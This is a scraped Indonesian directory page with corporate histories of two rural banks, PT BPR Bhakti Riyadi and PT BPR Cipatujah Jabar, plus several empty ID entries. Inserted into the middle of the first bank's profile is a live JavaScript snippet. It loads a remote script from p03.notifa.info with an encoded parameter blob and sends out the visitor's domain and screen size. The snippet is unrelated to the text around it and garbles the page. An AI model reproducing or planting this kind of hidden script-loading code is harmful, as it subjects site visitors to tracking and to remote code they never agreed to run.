ID:02800000001775

PT BHAKTI RIYADI
PT BPR BHAKTI RIYADI berdiri pada tanggal 09 September 1996 yang didirikan di klaten jawa tengah berdasarkan akta notaris nomor 18 tanggal 11 februari 1995 dibuat oleh Mochamad Imron, Sarjana hukum, notaris diklaten yang anggaran dasarnya telah mendapat pengesahan dari menteri kehakiman RI tanggal 13 Desember 1995 No: C2-16281 HT.01.01.TH,1995. Akta perubahan terakhir dibuat dihadapan Satryo Aji, S.H.,M.Kn Notaris Klaten SK Menteri Hukum dan Hak Asasi Manusia RI Nomor : AHU-294.AH.02.01.tahun 2008 tertanggal 19 Juni 2019. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p03.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582JQuX3gzRncXM85ypEC5ZnWdlHyLj1s%2fIC6q6xwVgbEO8GgZPxhkx9Y2MBEEsuego3LXSdrEaiXlHNp1tk1m%2bfrEcAlGA%2fJzL%2f5KY9SfWAo%2fu3pfUriym0Bu2rSQPrp8vruHvKaLYrPMS5mMlNxWOUM7yyTMpS%2bHGemop2E7s%2fXl3DLXBw8UOMDHw0qw21HzHbVqeXvSyBuQ%2bpAqTskgErQl4Jyvf8U5kdRvnqt77Y0C0Ub1rDWoz09v74ZfDPwRgtw2hWZatr8Irz74HVh5z4p%2fGom2TcORnhkmHN13nfMu0MY5JNeQbPexQ3ElhVMXvZAYnhXGa9VgaD9UXNLSzj8flrzD0c%2forO4oYFYW9MFNoHM8SdM5SodO0AcK2EA9jQO7KX6yRrTo8C3biMV1YkHV5212mldHQDYyf%2fr5egO7uDS8f0h5SSXyqclepkX%2fJoEsm9wITV8t4qxtbscPdm7O1UYfOvWAdC8hMDRbauRfkoSEF%2fDYw9fZXkfdPHmxlk85teoatQB1c7FRFoNq5cMHKRRxY19puuQiEOO7Vife" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};

ID:03002100000207

ID:03600001002262

ID:0240003651

ID:0320573505

ID:0340003987

ID:0300004823

ID:02600001000900

PT CIPATUJAH JABAR PERSERODA
PT. BPR CIPATUJAH JABAR pada awal berdiri adalah milik Pemerintah Daerah Kabupaten Tasikmalaya (Keputusan Bupati Tasikmalaya No.Pe.003/170/SK/1981 tanggal 24 Agustus 1981 tentang Pembentukan Lembaga Perkreditan Kecamatan (LPK) Di Wilayah Kabupaten Tasikmalaya) yang diantaranya dibentuk LPK Cipatujah dan secara resmi operasionalnya dimulai pada hari Senin tanggal 13 Maret 1984 dengan Modal Awal sebesar Rp. 1.000.000,00 (satu juta rupiah) dengan nama PD. LPK KECAMATAN CIPATUJAH. Pada  tanggal 25 Maret 1986 turun Keputusan  Gubernur Jawa Barat No.581/Kep-409/Binsar/86 tentang Pembentukan Lembaga Perkreditan Kecamatan (LPK) Menjadi Milik Bersama, kepemilikannya berubah menjadi milik Pemerintah Daerah Provinsi Jawa Barat dan Pemerintah Daerah Kabupaten Tasikmalaya dengan Modal Dasar sebesar Rp. 25.000.000,00 (dua puluh lima juta rupiah), tahun 1973 melalui Peraturan Daerah (PERDA) Provinsi Jawa Barat No. 3 Tahun 1973 ditunjuk Bank Pembangunan Daerah (BPD) Jawa Barat sebagai Pembina dan Pengawas Teknis. Kemudian kepemilikan berubah kembali dengan turunnya Peraturan Daerah (PERDA) Povinsi Jawa Barat No. 5 Tahun 1996 menjadi Pemerintah Provinsi Jawa Barat (35%) Pemerintah Kabupaten Tasikmalaya (50%) dan BPD (Bank Pembangunan Daerah Jawa Barat/BJB)  (15%) dengan Modal Dasar sebesar Rp. 250.000.000,00 (dua ratus lima puluh juta rupiah). Melalui Surat Nomor 584.3/4402/Perek/97 tanggal 10 Oktober 1997 Gubernur Jawa Barat mengajukan perubahan status/Izin Usaha dari PD. LPK Kecamatan Cipatujah sebagai LKM Non Bank menjadi PD. Bank Perkreditan Rakyat  LPK Cipatujah kepada Menteri Keuangan dan mendapat persetujuan dari Menteri Keuangan melalui SK. No.Kep-179/KM.17/1998 tanggal 21 April 1998 tentang Pemberian Ijin Usaha PD. BPR LPK CIPATUJAH. Setelah menjadi Bank Perkreditan Rakyat (BPR), Modal Dasar terus meningkat dan Kelembagaan PD. BPR LPK CIPATUJAH mengalami transformasi sebagai berikut : Tahun 2006, Modal Dasar menjadi sebesar Rp. 2.000.000.000,00 (dua milyar rupiah)  melalui  PERDA Provinsi Jawa Barat No. 14 Tahun 2006 tentang Perusahaan Daerah Bank Perkreditan Rakyat dan Perusahaan Daerah Perkreditan Kecamatan. Tahun 2010, menjadi sebesar Rp. 15.000.000.000,00 (lima belas milyar rupiah) melalui PERDA Provinsi Jawa Barat Nomor 30 Tahun 2010 tentang Perusahaan Daerah Perkreditan Rakyat Dan Perusahaan Daerah Perkreditan Kecamatan (Perubahan Atas PERDA Provinsi Jawa Barat No. 14 Tahun 2006 tentang Perusahaan Daerah Bank Perkreditan Rakyat dan Perusahaan Daerah Perkreditan Kecamatan. Tanggal 27 Maret 2013 PD. BPR LPK BOJONGGAMBIR dengan landasan Peraturan Daerah Provinsi Jawa Barat Nomor 14 Tahun 2006 tentang Perusahaan Daerah Perkreditan Rakyat Dan Perusahaan Daerah Perkreditan Kecamatan sebagaimana telah dirubah dengan Peraturan Daerah Provinsi Jawa Barat Nomor 30 Tahun 2010, dan Peraturan Daerah Kabupaten Tasikmalaya Nomor 4 Tahun 2010 tentang Merger Dan Konsolidasi PD. BPR Kabupaten Tasikmalaya bergabung (merger) ke PD. BPR LPK CIPATUJAH melalui persetujuan Deputi Gubernur Bank Indonesia Nomor 15/2/KEP.DpG/2013 tanggal 25 Pebruari 2013 tentang  Pemberian Izin Penggabungan Usaha (Merger) PD. BPR LPK BOJONGGAMBIR Ke Dalam PD. BPR LPK CIPATUJAH. Tanggal 21  Januari 2016 berlandaskan Peraturan Daerah (PERDA) Provinsi Jawa Barat Nomor 10 Tahun 2013 tentang Perubahan Bentuk Hukum Perusahaan Daerah  Bank Perkreditan Rakyat Hasil Merger Di Kabupaten Garut, Kabupaten Subang, Kabupaten Cianjur, dan Kabupaten Tasikmalaya; Keputusan Kemenhumkam RI Nomor AHU-2462637.AH.0101 Tahun 2015 tentang Pengesahan Pendirian Badan Hukum Perseroan Terbatas PT. Bank Perkreditan Rakyat Cipatujah Jawa Barat; persetujuan Otoritas Jasa Keuangan (OJK) Regional 2 Jawa Barat Nomor No. KEP-54/KR.2/2015 tentang Pengalihan Izin Usaha Atas Perubahan Badan Hukum dari PD. BPR LPK CIPATUJAH Kepada PT. BPR CIPATUJAH JABAR; dan  persetujuan Kepala OJK Regional 2 Jawa Barat   No. KEP-55/KR.2/2015 tentang Penetapan Penggunaan Izin Usaha Atas Nama PT. BPR CIPATUJAH JABAR, PD. BPR LPK CIPATUJAH berubah bentuk  hukum menjadi Perseroan Terbatas dan berubah nama menjadi PT. BPR CIPATUJAH JABAR dengan call name bank CiJ dengan Modal Dasar sebesar Rp. 40 Milyar.

ID:02800000001733

ID:03000000002684